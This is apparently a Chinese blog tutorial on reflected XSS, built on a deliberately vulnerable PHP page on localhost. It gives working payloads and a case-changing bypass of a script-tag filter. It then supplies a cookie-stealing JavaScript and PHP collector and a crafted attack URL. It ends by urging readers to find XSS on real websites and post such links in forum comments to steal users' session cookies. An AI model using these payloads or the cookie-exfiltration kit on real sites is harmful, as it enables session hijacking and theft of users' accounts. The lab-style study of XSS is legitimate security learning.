XSS学习笔记1

一、基础知识:

1.学习前需要先掌握HTML,Javascript,php(或者asp)。推荐学习基础知识的网站:http://www.w3school.com.cn/index.html。不需要精通,能看懂网页代码并且简单能进行简单编辑就好了。

2.需要自己去理解Cookies的原理和特点,百度百科对Cookies解释:http://baike.baidu.com/link?url=AK-j7WsMxVN7XO52f1sBCaRTmaGlYCJIvyYAysNQ6N_g3mLka9N0VfOmJULjdC300GVlJQpqBHjxN0ZR1IXwImMR4IwIOXXEZZejpzlOKKq

3.跨站脚本(XSS)概念:可以理解为一种Web应用程序中的计算机安全漏洞。攻击者利用网站漏洞把恶意的脚本代码注入到网页中,当其他用户浏览这些网页时,就会执行其中的恶意代码,对受害用户可能采取Cookie资料窃取、会话劫持、钓鱼欺骗等各种攻击。


二、配置环境:

1.首先需要自己配置Web服务器,推荐的服务器环境是Apache+php,我用的是软件xampp,能够键配置Apache+php。下载xampp地址为:https://www.apachefriends.org/zh_cn/index.html

2.用到的工具有:DreamweaverNodepad++firefox浏览器

Dreamweaver是网页编辑器:编辑的代码能够直观的在软件中看出结果,并且能够快速创建html文件,php文件等,我个人比较喜欢。可以用Notepad++来代替。Notepad++是代码编辑器:是一个文本编辑器,比Windows自带的记事本强大很多,推荐使用。

Firefox是我个人比较喜欢的浏览器,其他浏览器也行。


三、实验过程:

1.开启xampp中的apache和SQL,即开启服务器环境:



首先编写一个用户登录的html代码,和获得用户输入信息的php代码

<!--编辑一个用户输入的HTML代码,保存为test1.html-->
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<title>testforxss</title>
</head>
<body>
<div style="text-align:center;">
<form action="./test1.php" method="GET">
usename:<input style="text" name="usename" /><br/>
password:<input style="password" name="password"/><br/>
<input type="submit" value="提交"/><br/>
<form/>
</div>
</body>
</html>

<?php
//编辑一个获取用户输入信息的php代码,并把结果显示出来,保存为test1.php
$usename = $_GET['usename'];
$password = $_GET['password'];
echo "usename:",$usename,"<br/>";
echo "password:",$password;
?>

 

为了方便挖掘XSS漏洞,我是通过“GET”方法从表单中进行消息的发送,因为通过 GET 方法从表单发送的信息对任何人都是可见的(所有变量名和值都显示在 URL 中)通过 POST 方法从表单发送的所有名称/值会被嵌入 HTTP 请求的主体中

 

在浏览器地址栏中输入URL”http://localhost/test1/test1.html”得到下图结果:

 

输入测试用的用户和密码:

提交后得到:

得到正确的账户和密码,测试成功,说明配置环境跟代码都能成功使用,下面开始我的学习之路!

2.发掘一些简单的XSS漏洞

(1)如果在password”里输入的不是简单的数字和字母,而是一段XSS代码,如输入“<script>alert('XSS')</script>”,提交后将弹出一个对话框警告用户。如下图:

分析:password输入的“<script>alert('XSS')</script>”是一段javascript代码,<script>和</script>两个标签之间alert()函数将弹出一个对话框警告用户。

(2)直接在浏览器的地址栏上输入:http://localhost/test1/test1.php?usename= <script>alert(‘XSS’)</script>&password=1  。同样也能得到对话框警告。

分析:URL的对象是test1.php,而URL中已经含有test1.php文件所需要的usenamepassword的值,所以能够该地址是合法的,同时usename输入的是一段JS代码,这段代码能弹出一个对话框,就得到上图的结果。(通过“?”来连接php文件和输入的变量)

(3)php文件中,如果不是直接把用户名进行输出,而是先放到input元素中,代码如下

<?php
//依旧保存为test1.php
$usename = $_GET['usename'];
$password = $_GET['password'];
<pre name="code" class="html">//echo "usename:",$usename,"<br/>";注释本来的usename输出
echo '<input type="text" value="'.$usename.'">',"<br/>";
echo "password:",$password;
?>

 

网页中,如果直接在usename输入:<script>alert('XSS')</script>      将不会得到对话框警告,而是直接把结果进行输出:

分析一下test1.php的代码,发现用变量xss获得usename的值以后,并不是直接输出结果,而是先放到input元素的value中,这样的话输入的结果当然是“<script>alert('XSS')</script>”,而不会弹出提示框。

如果我们在这段XSS代码前面加上:”>  ,就是在usename输入代码 "><script>alert('XSS')</script>   ,将能弹出提示框。

分析:查看一下页面源代码,发现了这段代码:<input type="text" value=""><script>alert('XSS')</script>">  。发现开始输入的XSS代码中的第一个“>”直接就关闭了input标签,这样子script标签里的alert函数就能弹出提示框了!

同理,我们在挖掘其他网站的XSS漏洞时,如果能得到页面的源代码,然后分析代码中对我们输入的数据是怎样的处理,闭合其中的标签,理论上就能挖掘到相应的XSS漏洞

(4)除了使用<script>挖掘XSS漏洞,还可以用JS代码中的iframe标签,a标签或者利用on事件等触发XSS漏洞:还是(3)的代码,我在uesname中输入:"><a href=javascrip:alert('xss')>点击我吧!</a>    ,password中输入:123  。

提交后,再单击"点击我吧!",就会出现弹框警告:

此时页面部分源代码为:<input type="test" value=""><a href=javascript:alert('xss')>点击我吧!</a>">

或者输入:" οnclick="alert(‘xss’)

 提交后再点击一下,就能弹出提示框!

 此时页面部分源代码为:<input type="test" value="" οnclick="alert('xss') ">

 

或者输入:"><iframe src=javascript:alert('xss');height=0 width=0 /><iframe>

 提交后就能看到提示框!

(5)现在的网站都会有相应的过滤函数,如果能得到网站源代码,分析这些函数过滤的是那些符号,我们就能做出相应的策略,总而找到该网站的XSS漏洞。

我们将test1.php代码修改为:

<?php
$usename = $_GET['usename'];
$password = $_GET['password'];
//echo '<input type="text" value="'.$usename.'">',"<br/>";
$usename = preg_replace("/<script>/","",$usename);
echo "usename:",$usename,"<br/>";
echo "password:",$password;
?>

发现对变量usename使用了preg_replace函数,把<script>标签都注释掉了

所以如果直接输入:<script>alert('XSS')</script>将不会弹出提示框,如下图:




可是JS代码对大小写不敏感的,所以我们可以用“<Script>”标签来测试一下,

输入的代码为:<Script>alert('XSS')</sCript>

将能得到提示框!


或者,既然<script>不能利用了,我们还可以利用其它标签

比如输入代码:<a href=javascript:alert('xss')>点击我吧!</a>">

单击“点击我吧”,也能弹出提示框!


或者利用iframe标签也能弹出提示框:

<iframe src=javascript:alert('xss');height=0 width=0 /><iframe>


3.利用XSS漏洞

(1)盗取用户的cookie

首先在我自己的服务器里添加2个代码:test3.phptest3.js

 

<?php 
<span style="font-family:Times New Roman;">//test3.php</span>
$cookie = $_GET['c']; 
$ip = getenv ('REMOTE_ADDR'); 
$time=date("j F, Y, g:i a"); 
$referer=getenv ('HTTP_REFERER'); 
$fp = fopen('cookie.txt', 'a'); 
fwrite($fp, 'Cookie: '.$cookie.'<br/> IP: ' .$ip. '<br/> Date and Time: ' .$time. '<br/> Referer: '.$referer.'<br/><br/><br/>'); 
fclose($fp); 
?>

//test3.js
document.write('<img src="http://localhost/test1/test3.php?c='+document.cookie+'" width=0 height=0 border=0 />');

分析上面2段代码:

test3.js这段代码将得到的cookie发送给test3.php的变量c,然后test3.phpGET方法得到cookie后,创建一个新的txt文件名字为:cookie.txt;最后将得到的cookie保存在cookie.txt文件中,保存的内容为cookieiptimereferer


攻击方式:

我先在自己的服务器建一个漏洞网站,URL:http://localhost/test1/test1.php。该网站需要输入usenamepassword,而我在输入usename时发现了XSS漏洞,于是我设计了一个新的URL链接:http://localhost/test1/test1.php?usename= <script src=http://localhost/test1/test3.js></script>&password=1

链接分析:在usename里注入一段XSS代码,访问能盗用用户cookie的网站,即是访问test3.js,而test3.js我前面分析了将能盗取用户的cookie

 

用户点击链接后,出现如下画面,此时我已经成功获得cookie。



此时我查看我的服务器,将会出现一个新的文件:cookie.txt



Notepad++打开该文件:



发现已经得到漏洞网站上一名用户的cookie了!

接着只要利用得到的cookie去登录网站,就能进行相应的cookie会话攻击。


盗取Cookie攻击方式分析:首先 添加相应的代码到自己的服务器文件中(比我上面的test3.php和test3.js),然后挑一个网站,挖掘XSS漏洞,最后设置相应的URL链接,只要其他用户点击了该链接,就会把用户的Cookie发送到我的服务器文件中。

把这个链接放在各种论坛的评论里,并取一个吸引人的名字,只要有注册了该漏洞网站的用户点击了我的链接,他的cookie就会发送到我的服务器上!从而成功盗取用户的cookie


  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值